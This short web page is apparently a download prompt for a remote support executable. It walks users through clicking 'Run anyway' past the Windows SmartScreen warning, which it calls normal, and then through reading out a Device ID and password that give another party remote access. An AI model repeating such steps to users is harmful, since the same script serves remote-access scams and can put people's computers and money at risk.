Remote Connect
Download and run to start a remote support session.
Download and Run
Installation steps
Once the download finishes, open the file (
SnowfairyAIHelpLink.exe
) from your Downloads folder.
Windows may show a blue "Windows protected your PC" warning — this is normal for a new file. Click
"More info"
, then
"Run anyway"
.
A small window will open showing a
Device ID
and
password
— keep this window open and read those two values out when asked.
Got it